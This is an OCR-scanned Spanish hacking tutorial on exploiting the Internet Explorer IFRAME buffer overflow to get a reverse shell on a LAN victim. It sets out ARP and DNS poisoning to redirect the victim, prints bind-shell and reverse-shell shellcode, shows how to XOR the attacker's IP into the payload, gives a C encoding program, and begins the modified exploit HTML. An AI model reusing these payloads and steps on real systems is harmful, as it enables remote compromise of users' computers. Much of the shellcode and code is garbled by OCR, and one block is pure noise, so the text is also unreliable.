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El Exploit IFRAME y una Aplicacion Practica
de Intrusion en Redes Locales.

Como obtener una shell remota cuando la victima accede a Internet
con el navegador Microsoft Internet Explorer.

Teoria:

El dia 2 de Noviembre de 2004 se publicoé en Bugtraq una vulnerabilidad que
afectaba al navegador Microsoft Internet Explorer 6.0 instalado en Windows
2000 o0 Windows XP con cualquier Service Pack, excepto XP/SP2.

La vulnerabilidad, del tipo buffer overflow, se produce al introducir cadenas
demasiado largas en las propiedades SRC y NAME de las etiquetas <FRAME> e
<IFRAME>.

Tras la publicaciéon de un exploit .html malicioso para la vulnerabilidad, cierto
atacante puede situarse como Man in the Middle entre el equipo victima y el
router (puerta de enlace) y envenenar la traduccién DNS, de forma que cuando
la victima quiera acceder a cierta URL, la peticion sea redireccionada al .html
malicioso instalado en un servidor HTTP cémplice del atacante.

Cuando la victima descargue el .html malicioso en su navegador IE, se explotara
la vulnerabilidad y el contenido de la Shellcode del exploit se ejecutara en el
sistema de la victima permitiendo al atacante obtener una shell remota.

Aplicacién practica:

- Manipulacion de Shellcodes.
- Explotacion de vulnerabilidades en Microsoft Internet Explorer.
- Envenenamiento ARP + Envenenamiento DNS.

Escenario:
Atacante: 10.10.0.69
Victima: 10.10.0.254

Router (Puerta de Enlace): 10.10.0.33
Servidor HTTP complice: 10.10.0.250 (puede ser el atacante también).

Herramientas:

Vamos a necesitar un compilador de C (Visual C++, Dev-C++, LCC-Win32, etc.)
y la Calculadora cientifica de Windows, para las conversiones de formatos.
Vamos a utilizar el Sniffer Cain @ http://www.oxid.it/ para las operaciones de
Envenenamiento ARP y Envenenamiento DNS.

Para obtener la shell remota, podemos usar netcat o telnet.
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El exploit IFRAME

La pagina oficial del exploit, codificado en Javascript, es:
http://www.edup.tudelft.nl/~bjwever/advisory_iframe.html

El autor del exploit es Berend-Jan Wever aka SkyLined.

El exploit se define como Internet Explorer IFRAME src & name parameter
BoF remote compromise.

Se puede producir un Desbordamiento de Buffer en las etiquetas FRAME,
EMBED e IFRAME debido a la gestidon incorrecta de las propiedades SRC y
NAME por Microsoft Internet Explorer. Para aprovechar esta vulnerabilidad,
sblo se necesita introducir la siguiente etiqueta en el HTML:

<IFRAME SRC=AAAAAAAAAAAA. ... NAME="BBBBBBBBBBB....''>

Esto sobrescribird EAX con 0x00420042, después de lo cual, se ejecutara lo
siguiente:

7178EC02 8B08 MOV ECX, DWORD PTR [EAX]
7178EC04 68 847B7071 PUSH SHDOCVW.71707B84
7178EC09 50 PUSH EAX

7178ECOA FF11 CALL NEAR DWORD PTR [ECX]

Controlando EAX, podemos controlar ECX, que, a su vez, nos servira para
controlar EIP: Ejecucién Remota de Comandos.

elhacker.net : PAPERS 3



Gospel feat. LoReDo Taller practico de Intrusién en Redes Locales

La Shellcode del exploit

shellcode = unescape("'%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0l
78%u52ea%u528b%u0120%u3lea%u31lc0%u41c9%u348b%u0l8a%uldleehucl FFul
3cf%u0lachu85c7%u75c0%u39F6%u75dfhusaeakusa8b%u0124%u66eb%uOc8b%u8
b4b%ulc5a%ueb01%u048b%u018b%u5Fe8%uff5e%ufce0%uc031%u8b64%u3040%ud
08b%u8b0c%ulc70%u8bad%u0868%uc031%ub866%u6c6chu6850%u3233%ub42e%u
7768%u3273%u545F%u71bb%ue8a7%ue8feluffo0iuuffffiuef89%uc589%uc481l%ufe
70%uFFFf%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%ufFFfiou3lFFHpu50c0%
u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffFFu89FFiHu31c6%us50c0%u
3550%u0102%ucc70%uccfe%u8950%u50e0%ul06a%u5650%u8lbb%u2ch4%ue8bel%u
TFF42%ufFFFf%uc031%u5650%ud3bb%u58fatue89b%uff34%uffFfu6058%ul06a%us5054
%ubb56%uf347%uc656%u23e8%uffFfu89ffiu3lc6%us53db%u2e68%u6d63%u8964%
u41el%udb31%u5656%u5356%u3153%ufec0%u40ci®%u5350%u5353%us5353%us5353
%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%us51
53%u8753%ubbfd%ud021%ud005%udfe8%ufffe’busbFFfuc031%u5048%ubb53%uchb43
%u5TF8d%ucte8hufffetus56Tfhuef87%ul2bb%u6deb%ue8d0%ufec2%uffffiuca83%u6l
5c%u89eb™) ;

La Shellcode esta codificada en UTF-16 y su ejecucion deja una shell escuchando
en el puerto 28876 local.

El exploit causa la ejecuciéon de la Shellcode con privilegios de usuario, de
manera que la shell nos dejaré en C:\Documents and Settings\usuario\Escritorio>

La Shellcode original se ejecuta posteriormente al BoF provocado en el Internet
Explorer, ocasionando que se abra un puerto 28876 local con una shell a la
escucha. Sin embargo, este puerto sélo permanecera abierto mientras el proceso
iexplore.exe siga en activo, y dado que la explotacion de la vulnerabilidad hace
que el proceso iexplore.exe se cuelgue, en cuanto el usuario victima mate dicho
proceso (cierre el navegador), el puerto se cerrara y el atacante no podra
conectarse remotamente para obtener la shell.
Es por ello que surge la idea de cambiar la Shellcode por una mas eficiente, por
una cuya funcionalidad no dependa de que el atacante tenga que conectarse
durante un breve periodo exacto de tiempo. A primera vista, las alternativas que
se nos ofrecen son:

- Shellcode Reverse Shell

- Shellcode Add User

- Shellcode Download & Exec

Cada una de estas Shellcodes tiene una funcionalidad distinta, pero, sin duda, la
maés interesante de ellas es la Shellcode Reverse Shell. Por tanto, a lo largo de
este escrito, vamos a explicar al lector como sustituir la Shellcode original por
una Shellcode Reverse Shell que permita al atacante obtener una mayor eficacia
de la ejecucion del exploit.
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Cémo convertir la Shellcode original UTF-16 en string hexadecimal

Cuando echamos un vistazo a la Shellcode utilizada en el exploit IFRAME nos
damos cuenta de que no es como el resto de Shellcodes que hayamos visto en
otros codigos de exploits.

- {Qué es eso de %u?

- ¢Por qué los bytes se agrupan en cuartetos y no en pares?
Bueno, es hora de hacer un poco de Ingenieria Inversa y descodificar la
Shellcode original a un formato con el que estemos acostumbrados a trabajar. El
formato de la mayoria de Shellcodes implementadas en los exploits codificados
en C es string hexadecimal. Ya sabéis: \xeb\x43\x56...

Dandole vueltas a la Shellcode UTF-16, percibimos rapidamente que contiene
caracteres hexadecimales. Es decir, no hay que realizar ningin tipo de
descodificacion Unicode — ASCII - Hexadecimal. Tenemos los caracteres
necesarios para construir el string hexadecimal, pero estos se encuentran
agrupados y, puede que, desordenados.

Por tanto, el primer paso es desagrupar los cuartetos de bytes y agruparlos en
pares. Ya empezamos a notar con el \x del string hexadecimal. Nos quedara una
Shellcode con el siguiente aspecto:

\x43\x43\Xx43\x43\x43\xeb\x57\x56\x45\x8b\x8b\x3c\x05\x54\x01\x78\x52\xea\x52\x8b\x01\x20
\x31\xea\x31\xc0\x41\xc9
\x34\x8b\x01\x8a\x31\xee\XcI\xFF\Xx13\XcTF\x01\xac\x85\xc7\x75\xc0\x39\xF6\x75\xdF\x5a\xea
\x5a\x8b\x01\x24\x66\xeb
\x0c\x8b\x8b\x4b\x1c\x5a\xeb\x01\x04\x8b\Xx01\x8b\x5F\xe8\xFF\x5e\xFc\xe0\xc0\x31\x8b\x64
\x30\x40\x40\x8b\x8b\x0c
\x1c\x70\x8b\xad\x08\x68\xc0O\x31\xb8\x66\x6Cc\Xx6Cc\Xx68\x50\Xx32\x33\x64\x2e\x77\x68\x32\x73
\x54\x5F\x71\xbb\xe8\xa7
AXe8\XFe\XFR\XIO\XFR\XFR\XeF\Xx89\xc5\x89\XCc4\x81\xFe\Xx70\XFA\XFMN\x31\x54\xFe\xc0\x40\xc4
\xbb\Xx50\x7d\x22\x7d\xab
A\X75\Xe8\XFR\XFI\X3L\XFR\AX50\XCc0\Xx50\Xx50\x40\x50\x40\Xx50\xbb\x50\x55\xa6\x79\x34\x61\xe8
\XTFR\XFR\X89\XTFF\Xx31\xc6
\X50\Xxc0\x35\x50\x01\x02\xcc\x70\xcc\xFe\x89\x50\x50\xe0\x10\x6a\x56\x50\x81\xbb\x2c\xb4
\xe8\xbe\XFR\X42\xFA\XxFF
\XCO\X31\Xx56\x50\xd3\xbb\Xx58\xFa\xe8\X9b\XFR\X3A\XFR\XFFAX60\x58\x10\x6a\x50\x54\xbb\x56
\XxTF3\Xx47\xc6\x56\x23\xe8
A\XFRAXFRAX8I\XFR\X31\Xxc6\Xx53\xdb\x2e\x68\x6d\x63\x89\x64\x41\xe1\xdb\x31\x56\x56\x53\x56
\x31\x53\xFe\xc0\x40\xc4
AX53\X50\X53\X53\x53\X53\Xx53\x53\x53\x53\x6a\x53\x89\x44\x53\xe0\x53\x53\x54\x53\x53\x50
\x53\x53\x53\x43\x53\x4b
\X51\Xx53\Xx87\x53\xbb\XxFd\Xxd0\x21\xd0O\X05\Xd FAxe8\x FR\XxFe\Xx5b\xFR\Xxc0\x31\x50\x48\xbb\x53
\xcb\x43\x5F\x8d\xcf\xe8
\XFR\XFe\X56 \xFR\xeT\Xx87\x12\xbb\x6d\Xx6b\xe8\xdO\xFe\Xc2\XFRA\XFR\xc4\x83\x61\x5c\x89\xeb

Ahora, tenemos que saber si los pares se encuentran desordenados de alguna
manera, ya que la codificacion UTF-16 (ejemplo: U+FEFF) puede ser
descodificada en hexadecimal de dos formas:

- Big Endian: oxFEFF

- Little Endian: oxFFFE
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¢En cual de las dos notaciones tenemos que descodificar la Shellcode UTF-16?
Pues para ello, nada mejor que acudir a la pagina del autor del exploit e indagar
sobre la cuestion. Le echamos un vistazo a las Shellcodes ASM que ha publicado
el autor en su pagina. Todas ellas contienen la siguiente estructura sockaddr:

#//create struct sockaddr {server_handle=2, port=28876, 0, O}

xor Y%eax, %eax

push %eax

push Y%eax

Xor $0xcc700102, %eax

Todas sus Shellcodes “bind port” dejan una shell en escucha en el mismo puerto
28876, que codificado en hexadecimal resulta ox7occ.

Por tanto, atendiendo a la linea que dice xor  $o0xcc700102, %eax, esta cadena
deberia ser representada en una Shellcode como \x02\x01\x70\xcc.

Si la Shellcode tiene que ser descodificada en Big Endian, aparacera la cadena
\x01\x02\xcc\x70. En cambio, si la Shellcode tiene que ser descodificada en
Little Endian, aparecera la cadena \x02\x01\x70\xcc.

Podemos comprobar como en nuestra tltima transformacion de la Shellcode, se
encuentra la cadena \xo1\x02\xcc\x70 (Notacion Big Endian). Hemos tenido mala
suerte, nos toca descodificar a Little Endian. Es decir, nos toca alternar los pares
dos a dos. Se alterna el 1er par con el 2ndo par, el 30 con el 40, etc.

Cuando quiero decir que se alternan, es que \x43\xeb pasa a ser \xeb\x43.

Después de aplicar este proceso de transformacion, y ordenar la Shellcode en
filas de 16 pares de bytes, nos queda la Shellcode definitiva, que podemos
ejecutar en nuestro sistema con el siguiente programa en C:

char code[] =
"\X43\x43\x43\x43\xeb\x43\x56\Xx57\x8b\x45\x3c\x8b\x54\x05\x78\x01""
"\xea\x52\x8b\x52\x20\x01\xea\x31\xc0\x31\xc9\x41\x8b\x34\x8a\x01""
"\Xxee\X31\XFR\Xc1\XcF\x13\xac\x01\xc7\x85\XcO\X75\xF6\x39\xdF\x75"
"\xea\x5a\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb""
"\X8b\x04\x8b\Xx01\xe8\x5F\x5e\XxFF\xe0\xFc\x31\xc0\x64\x8b\x40\x30""
"\X8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x31\xc0\x66\xb8\x6c\x6¢C""
"\X50\x68\x33\x32\x2e\x64\Xx68\Xx77\X73\x32\X5F\Xx54\xbb\x71\xa7\xe8""
"\XxFe\xe8\X90\XFRI\XTFR\XFR\x89\xe T\ x89\xc5\x81\xc4\x70\xFe\xFA\xFff""
"\X54\x31\xcO\xFe\xc4\x40\x50\xbb\x22\x7d\xab\x7d\xe8\x75\x FR\xFf""
"\XFR\X31\XxcO\X50\x50\x50\x50\x40\x50\x40\x50\xbb\xa6\x55\x34\x79""
"\Xe8\ X6 L \XFR\XFR\XTFR\X89\Xc6\Xx31\XcO\x50\x50\x35\x02\x01\x70\xcc""
"\xFe\xcc\x50\x89\xe0\x50\x6a\x10\x50\x56\xbb\x81\xb4\x2c\xbe\xe8""
"\XA2\X FR\XFR\XTFR\X31\xcO\Xx50\Xx56 \xbb\xd3\xFa\x58\x9b\xe8\x34\x Ff""
"\XFRAXFR\X58\X60\x6a\x10\x54\Xx50\x56\xbb\x47\xF3\x56\xc6\xe8\x23""
"\XFR\XFR\XFR\AX89\XCc6\x31\xdb\Xx53\x68\x2e\x63\x6d\x64\x89\xe1\x41"
""\X31\xdb\Xx56\x56\x56\Xx53\x53\x31\xcO\xFe\xc4\x40\x50\x53\x53\x53""
""\X53\x53\X53\x53\x53\Xx53\x53\x6a\x44\x89\xe0\x53\x53\x53\x53\x54""
"\X50\x53\x53\Xx53\x43\x53\x4b\Xx53\x53\x51\x53\x87\xFd\xbb\x21\xd0""
"\X05\xd0\xe8\Xxd F\XxFe\xFR\XFR\Xx5b\x31\xc0\x48\x50\x53\xbb\x43\xch"
"\X8A\X5FAXe8\XCTF\XFe\XFR\XFR\X56\x87\xef\xbb\x12\x6b\x6d\xd0\xe8""
"\Xc2\xFe\XxFR\XFR\x83\xc4\x5c\x61\xeb\x89";

int main(int argc, char **argv)
int (*funct);

funct = (int (*)()) code;
(nt)*funct) QO;
3

Compilamos, ejecutamos y nos conectamos con nc al puerto local 28876.
Ahora que ya conocemos el procedimiento de descodificacién, obtenemos el
procedimiento de codificacion inverso.
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CbéHmo convertir una Shellcode en string hexadecimal a UTF-16

Como hemos mencionado anteriormente, la idea era cambiar la Shellcode
original del exploit por una Shellcode Reverse Shell. Esta Shellcode Reverse
Shell la podemos obtener de otros cbédigos de exploits, pero tenemos que
codificarla en UTF-16 antes de poder implementarla en el exploit IFRAME.

Un ejemplo de Shellcode Reverse Shell que podemos encontrarnos por ahi, es la
Shellcode Reverse Shell del exploit Windows JPEG GDI+ All in One
Exploit @ http://www.k-otik.com/exploits/09272004.JpegOfDeathM.c.php

char reverse_shellcode[] =

"\XD9\XE1\XxD9\x34"
"\X24\X58\X58\X58\X58\X80\XEB\XE7\X31\XCO\X66\Xx81\XE9\XAC\XFE\X80""
""\X30\x92\X40\XE2\XFA\X7A\XA2\X92\x92\x92\XD1\XDF\XD6\Xx92\x75\XEB"*
"\X54\XEB\X7E\X6B\X38\XF2\x4B\X9B\X67\Xx3F\X59\X7F\X6E\XA9\x1C\xDC""
"\X9C\X7E\XEC\X4A\X70\XE1\X3F\Xx4B\X97\x5C\XEO\X6C\x21\x84\xC5\xC1"
"\XAO\XCD\XALI\XAO\XBC\XD6\XDE\XDE\X92\x93\XCI\XC6\X1B\X77\Xx1B\XCF"
"\X92\XF8\XA2\XCB\XF6\X19\X93\X1I\XD2\X9E\X1I\XE2\XBE\X3F\X19\XCA""
"\XOANX79I\XIE\XIF\XC5\XB6\XC3\XCO\X6D\X42\Xx1B\X51\XCB\X79\x82\XxF8""
"\X9ANXCCA\X93\X7C\XF8\X9A\XCB\X19\XEF\X92\Xx12\X6B\X96\XE6\X76\XC3""
"\XC1\X6D\XA6\XLID\X7ANXIANX92\X92\X92\XCB\X1B\X96\X1C\X70\X79\XA3""
"\X6D\XFA\X13\X7E\X02\X93\XCE6\XFA\X93\x93\Xx92\x92\Xx6D\XC7\x8A\XC5""
""\XC5\XC5\XC5\XD5\XC5\XD5\XC5\X6D\XC7\x86\X1B\Xx51\XA3\X6D\XFA\XDF""
"\XDF\XDF\XDF\XFA\X90\x92\XxB0O\X83\X1B\x73\XF8\Xx82\XC3\xC1\Xx6D\XC7""
"\X82\X17\X52\XE7\XDB\X1F\XAE\XB6\XA3\X52\XF8\X87\XCB\x61\x39\x54""
"\XD6\XB6\X82\XD6\XFA\X55\XD6\XB6\XAE\X93\X93\x1B\XCE\XB6\XDA\X1B""
"\XCE\XB6\XDE\X1B\XCE\XB6\XC2\X1F\XD6\XB6\X82\XCH6\XC2\XC3\XC3\XC3""
"\XD3\XC3\XDB\XC3\XC3\X6D\XE7\X92\XC3\X6D\XC7\XBA\X1B\X73\Xx79\x9C""
"\XFA\X6D\X6D\X6D\X6D\X6D\XA3\X6D\XC7\XB6\XC5\X6D\XC7\X9E\X6D\XC7""
"\XB2\XC1\XC7\XCA\NXC5\X1\XFENXB6\X8A\NX19\XD7\XAE\NX1I\XCO\X97\XEA""
"\X93\X78\XLI\XDB\XBANXLIINXCB\XB2\X93\X79\X7 L1\ XAO\XDB\X19\XA6\Xx19""
"\X93\X7C\XA3\X6D\X6E\NXAI\X52\X3E\NXAA\NX72\XE6\X95\X53\x5D\X9F\x93""
"\X55\X79\X60\XAINNXEENXB6\X86\XE7\X73\Xx19\XC8\XB6\X93\X79\XxF4\x19"
"\X9E\XDO\X1I\XCB\XBENX93\X79\X19\X96\X19\X93\X7A\NX79\X90\XA3\X52"
"\X1B\X78\XCD\XCC\XCF\XCIO\X50\X9A\X92\x65\X6D\Xx44\x58\x4F\x52" ;

Antes de codificar esta Shellcode, tenemos que adaptarla a nuestro escenario. Es
decir, ya que se trata de una Shellcode Reverse Shell, tenemos que especificar la
direccion connectback IP y el puerto destino.

Para ello, prestamos atencion a las siguientes lineas del cddigo del exploit GDI+:

reverse_shellcode[186] = xor_data((char)((encoded_port >> 16) & Oxff));
reverse_shellcode[187] = xor_data((char)((encoded_port >> 24) & OxffF));

pl = strchr(ip_addr, ".%);

strncpy(str_num, ip_addr, pl - ip_addr);

raw_num = atoi(str_num);

reverse_shellcode[179] = xor_data((char)raw_num);

p2 = strchr(pl+l, ".%);

strncpy(str_num, ip_addr + (pl - ip_addr) + 1, p2 - pl);
raw_num = atoi(str_num);

reverse_shellcode[180] = xor_data((char)raw_num);

pl = strchr(p2+1, ".%);

strncpy(str_num, ip_addr + (p2 - ip_addr) + 1, pl - p2);
raw_num = atoi(str_num);

reverse_shellcode[181] = xor_data((char)raw_num);

p2 = strrchr(ip_addr, ".%);

strncpy(str_num, p2+1, 5);

raw_num = atoi(str_num);

reverse_shellcode[182] = xor_data((char)raw_num);

El puerto debe ser introducido en las posiciones 186 - 187 de la Shellcode.
La direccion connectback IP debe ser introducida en las posiciones 179 — 182.
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Aqui he recuadrado en color las correspondientes posiciones de la Shellcode.

char reversze_shellcade[] =

" Deh wEL, D9 D"

"2 xS kOB xS B S B B0 KEBY KET k31 x C O BB 21 x ED A  FEY 230"
" B0 D 2N OO E 2 e P s TR0 A2 D 2N w9 2 w9 2 D AN D P, D e I 2N T I ER"
" S wER, x FEL 6By x 38 F 2 A By OB, x 6 P x 3P x SN TR BB A 1 Ch D "
" S e FEN HEC, A T O ELY e 3P e B w9 T S S B S O e 21 e B s S S
"o AD DY ALY AN B xDEY DEYV DEV 92 x93 e OO CEY A BY 3 T 7 LB e CF"
"2 2 s FEN 2 SR FEN L9 23 w1 I D 2w OB L AN HE RN BE, 3P, w19 T A"
O T OB kI x SO B OB C O e DA d 2 1B xS 1N SR x 7R B 2 e FE"
MDA S S 9 A e T O AN A SR M L P HEF, 92 w1 2N G B D EN HER TR S 3"
M CI EDY  AEN 1D TAN 1A 9 2 92 92 OB 1B 98 w1 Cl s T O 1 7 B A 3"
" GO A L 3 FEL 02 IR CEY w FAM 93 93 I BN w9 2 B DY ST s B S5
"0 O C T C T D S0 T D S0 T 06 Do C The B 6 3L BY e 514 e AT 6 D e P e D FY
<D Py D Py DY Pl = 90, e 9 2 B O e Bl LB s 7 B B e B2 S e C L s B DY ST
B 1 A xS E T DB 1P A, kB A, AR xS 2 kPR BT CB k61 390 54"
" DEY BB B D EL MY S S, D e B A A B I3 DN B e CEN B A DA 1R
" CEVxBEY xDEVx 1By CEVxBE, x C2 w1 F x DEY BE ¥ B2 w CENY e C2 e O e O3 e O3
" DA S 3N DB e S S BN G D E T I BN S B D O T B A LB T3 T "
PR ED, e DY e DY e DY e DY AR D n C T B R O e D\ C P FE e D\ O T
B2 SN T e S SN LDk FEY B A BN 19 D T oA B 1 I CEN 1 T EA"
MO 7 e k19 kDB B A 1 O S B 2 I B T O e T A e ADN DB 1 P e AE 1 9"
"3 s T O A B DY B EY s, 1 S 2N e BEN A e T2 HEEN 19T S xS DA I, 23"
ST 7O e AT R EE B A BE REF k7B 1 9 C B B A x93 T O Pl 19"
" B DI LD A B E DA e T e LI D L DN T AN T O AT S 2"
"l B 7R SOV COV R x CO S0 9 k92 w e Sl 6 DY e d d x SE d Pl 52"

Antes de introducir nuestros datos de direccién connectback IP y puerto,
debemos saber que la Shellcode estd XOReada con el byte 0x92.

unsigned char xor_data(unsigned char byte)

{
return(byte N 0x92);
¥

La siguiente linea de codigo del exploit:
reverse_shellcode[179] = xor_data((char)raw_num);

significa que el primer byte de la direccion IP es XOReado con 0x92 por la
funcion xor_data antes de ser introducido en la posicion [179] de la Shellcode.

1) Sobre la IP:
Se encuentra en las posiciones 179-182 de la Shellcode.
Si desXOReamos \xDF\xDF\xDF\xDF con 0x92, obtenemos la IP por defecto,
que seria 77.77.77.77. Para comprobar esto, cogemos la calculadora cientifica de
Windows, introducimos 77 en decimal y lo convertimos al hexadecimal 4D.
XOReando 4D con 92, nos da DF.
Por tanto, tenemos que codificar y XORear la direccion IP del atacante.

10.10.0.69 (en decimal) > \x0A\x0A\x00\x45 (en hexadecimal) >

> \x98\x98\x92\xD7 (XOReando con 0x92)

2) Sobre el puerto:
Se encuentra en las posiciones 186-187 de la Shellcode.

reverse_shellcode[186] = xor_data((char)((encoded_port >> 16) & OxffF));
reverse_shellcode[187] = xor_data((char)((encoded_port >> 24) & Oxff));

Resulta demasiado engorroso modificar el puerto destino, ya que implica tener
que desplazar posiciones, hacer AND con oxff y luego XORearlo con 0x92.
Como para nuestro caso nos sirve el puerto destino 8721, no haremos hincapié
en como modificar el puerto destino de la Shellcode Reverse Shell.
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Bueno, después de haber codificado y XOReado la direccion connectback IP del
atacante, la introducimos en la Shellcode y obtendremos la Shellcode lista para

ser codificada en UTF-16:

"\XDO\XE1\XxD9\x34"
"\X24\Xx58\Xx58\X58\X58\x80\XEB\XE7\Xx31\XCO\X66\Xx81\XE9\XAC\XFE\X80""
"\X30\X92\X40\XE2\XFA\X7A\XA2\X92\X92\x92\XD1\XDF\XD6\x92\Xx75\XEB""
"\X54\XEB\X7E\X6B\X38\XF2\Xx4B\X9B\X67\X3F\X59\X7F\X6E\XA9\Xx1C\xDC""
""\X9C\X7E\XEC\X4A\X70\XE1\X3F\Xx4B\Xx97\X5C\XEO0\X6C\x21\x84\XC5\xC1""
"\ XAO\XCD\XAI\XAO\XBC\XD6\XDE\XDE\X92\x93\XCI\XC6\X1B\x77\x1B\XCF"
"\X92\XF8\XA2\XCB\XF6\X19\X93\X19\XD2\X9E\X19\XE2\X8E\X3F\X19\XCA"
"\X9ANX7N\XIENXLF\XC5\XB6\XC3\XCO\NX6D\Xx42\Xx1B\X51\XCB\X79\x82\xF8""
"\XOANXCC\X93\X7C\XF8\XOANXCB\X1I\XEF\X92\Xx12\X6B\X96\XE6\X76\XC3""
"\XC1\X6D\XA6\XID\X7ANX1ANX92\X92\X92\XCB\X1B\X96\X1C\x70\Xx79\XA3""
"\X6D\XFA\X13\X7E\X02\X93\XCH6\XFA\X93\x93\x92\Xx92\X6D\XC7\X8A\XC5""
"\XC5\XC5\XC5\XD5\XC5\XD5\XC5\X6D\XC7\x86\x1B\X51\XA3\X6D\XFA\X98""
"\X98\x92\XD7\XFA\X90\Xx92\xBO\X83\x1B\Xx73\XF8\x82\XC3\XC1\x6D\XC7"*
"\X82\X17\X52\XE7\XDB\X1F\XAE\XB6\XA3\X52\XF8\X87\XCB\x61\x39\x54""
"\XD6\XB6\X82\XD6\XFA4\X55\XD6\XB6\XAE\X93\X93\X1B\XCE\XB6\XDA\X1B""
"\XCE\XB6\XDE\X1B\XCE\XB6\XC2\X1F\XD6\XB6\X82\XC6\XC2\XC3\XC3\xC3""
"\XD3\XC3\XDB\XC3\XC3\X6D\XE7\X92\XC3\X6D\XC7\XBA\X1B\Xx73\x79\x9C""
"\XFA\X6D\X6D\X6D\X6D\X6D\XA3\X6D\XC7\XB6\XC5\X6D\XC7\X9E\X6D\XC7""
"\XB2\XCI1\XC7\XCA\XC5\X19\XFE\XB6\X8A\X19\XD7\XAE\X19\XC6\X97\XEA"
"\X93\X78\X1I\XDB\XBANXII\XCB\XB2\X93\X79\X71\XA0\XDB\X19\xA6\x19""
"\X93\X7C\XA3\X6D\X6ENXAI\X52\X3ENXAANX72\XE6\X95\X53\x5D\X9F\x93""
"\X55\X79\X60\XAN\XEE\XB6\X86\XE7\X73\Xx19\XC8\XB6\X93\X79\xF4\x19""
"\X9E\XDI\XI19\XCB\XBE\X93\X79\X19\X96\Xx19\X93\X7A\NX79\X90\XA3\X52""
"\X1B\X78\XCD\XCC\XCF\XCO\X50\X9A\X92\x65\x6D\x44\x58\x4F\x52"" ;

Ahora viene el proceso de codificar, alternando los pares de bytes y
agrupandolos en cuartetos con la notacion UTF-16 “%u”.

Como resulta un proceso demasiado tedioso para hacerlo a mano con el bloc de
notas, he codificado este pequefio programa en C (convertir.c) que realizara esta

labor por nosotros:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main (void)
{
char cadena [800];
char inputl;
char input2;
char input3;
char input4;
char* cabecera=""%u";
int n;
int i;
printf(""\nIntroducir la shellcode en string hex: "™);
gets(cadena);
n=strlen(cadena);
printf(""\nLa longitud de la shellcode es %i bytes.", n);
printf(""\n\nLa shellcode formateada a UTF-16 es: \n\n");
for (i=0;i<n;i=i+4)
{
inputl = cadenal[i];
input2 = cadenal[i+1];
input3 = cadenal[i+2];
input4 = cadenal[i+3];
printf(*'%s%c%hch%chc™, cabecera, input3, input4, inputl,
b
printf(C"\n\n\n[Fin del programa]\n');
3

input2);
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Este programa es bastante simple y no realiza ninguna tarea de comprobacion
de la cadena introducida, por lo que tenemos que preparar nuestra Shellcode de
cara a introducirla en el programa para ser codificada.

Tenemos que convertir la Shellcode a un string de caracteres hexadecimales, de
forma que nos quede la siguiente cadena:

D9E1D934245858585880E8E731C96681E9ACFE80309240E2FA7AA2929292D1DFD69275EBS4EB7EGB38F24B9B
673F597F6EA91CDCIOC7EEC4A70EL13F4B975CE06C2184C5C1A0CDA1IAOBCDE6DEDES293C9C61B771BCF92F8A2CB
F6199319D29E19E28E3F19CA9A799E1FC5B6C3C06D421B51CB7982F89ACCI37CF89ACB19EF92126B96E676C3
C16DA61D7A1A929292CB1B961C7079A36DF4137E0293C6FA939392926DC78AC5C5C5C5D5C5D5C56DC7861B51
A36DFA989892D7FA9092B0831B73F882C3C16DC7821752E7DB1FAEB6A352F887CB613954D6B682D6F455D6B6
AE93931BCEB6DA1BCEBG6DE1BCEB6C21FD6B682C6C2C3C3C3D3C3DBC3C36DE792C36DC7BA1B73799CFAGD6D6D
6D6DA36DC7B6C56DC79E6DC7B2C1C7C4C519FEB68A19D7AE1I9C697EA937819D88A19C8B2937971A0DB19A619
937CA36D6EA3523EAA72E695535D9F93557960A9EEBG686E77319C8B69379F4199ED919C88E9379199619937A
7990A3521B78CDCCCFC9509A92656D44584F5200

He anadido un byte nulo al final, para que la Shellcode sea multiplo de 4. De
otra forma, el dltimo byte hubiera quedado suelto, sin poder pertenecer a un
cuarteto.

Introducimos esta cadena en nuestro programa en C y nos devolvera la
Shellcode codificada en UTF-16 lista para ser implementada en el exploit
IFRAME.:

B Simhbolo del sistema -0 ﬂ

b
D g i1% D=0 D

o d V9E1D? 34 8585858 00ES 96681EY ik
492 46 N7ANZ2929292D1DFD6Y i B7E6B28 B9 B 9?F6EA?1CDCY 4A78 1B
EA6 G2 ﬂt. ABCDALABBCD6DEDE?293CYC61E BCF?2F8A2CBF6199319D29E19E24 9CAY
A799E1FC5B6C3CA6D421 B51CB?982F89ACCY 89ACB19EF92126B6E676 6DAG1D7A1AT2929
B1BY6 A79N36DF- A293C6FA939392926DC78A CSC5D5C5D 6DC?861B51A36DFAYEY
A831B if 6D DB B 2FE87CB613954D6B6 82 D6 B6
3
:
:

2EGY Y9

Ld
==F-3x]-

=
=

=
= =

oy

Un dltimo apunte, hay que anadir la siguiente cadena al principio de la
Shellcode definitiva: wu43asxuazas para evitar que los 4 primeros bytes de nuestra
Shellcode caigan en la instruccion OR EAX, [4 primeros bytes de la Shellcode]
que se ejecuta después del BoF.

De esta forma, se ejecutard OR EAX, oDoDoDoD y luego nuestra Shellcode.
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Microsoft Internet Explorer IFRAME Tag Overflow Exploit
modificado para Reverse Shell por LoReDo & Gospel

<HTML><!--
,SSSSs, Ss, Internet Exploiter v0.1
Ss* TysT "*Ss. MSIE <IFRAME src=... name="._.."> BoF PoC exploit
is- ,SSs" Copyright (C) 2003, 2004 by Berend-Jan Wever.
YS, .ss ,sY" http://www.edup.tudelft.nl/~bjwever
“"YSSP"  sSS skylined@edup.tudelft.nl

Modificado para Reverse Shell por LoReDo & Gospel.

This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License version 2, 1991 as published by
the Free Software Foundation.

This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.

A copy of the GNU General Public License can be found at:
http://www.gnu.org/licenses/gpl.html

or you can write to:
Free Software Foundation, Inc.
59 Temple Place - Suite 330
Boston, MA 02111-1307
USA.

—-——>

<SCRIPT language="javascript'>
// Win32 MSIE exploit helper script, creates a lot of nopslides to land in
// and/or use as return address. Thanks to blazde for feedback and idears.

// Win32 reverse shell, por LoReDo & Gospel. Extraida del exploit GDI+

// Connnect back IP: 10.10.0.69 -> \x98\x98\x92\xD7 (XOReada con 0x92 en Hex)

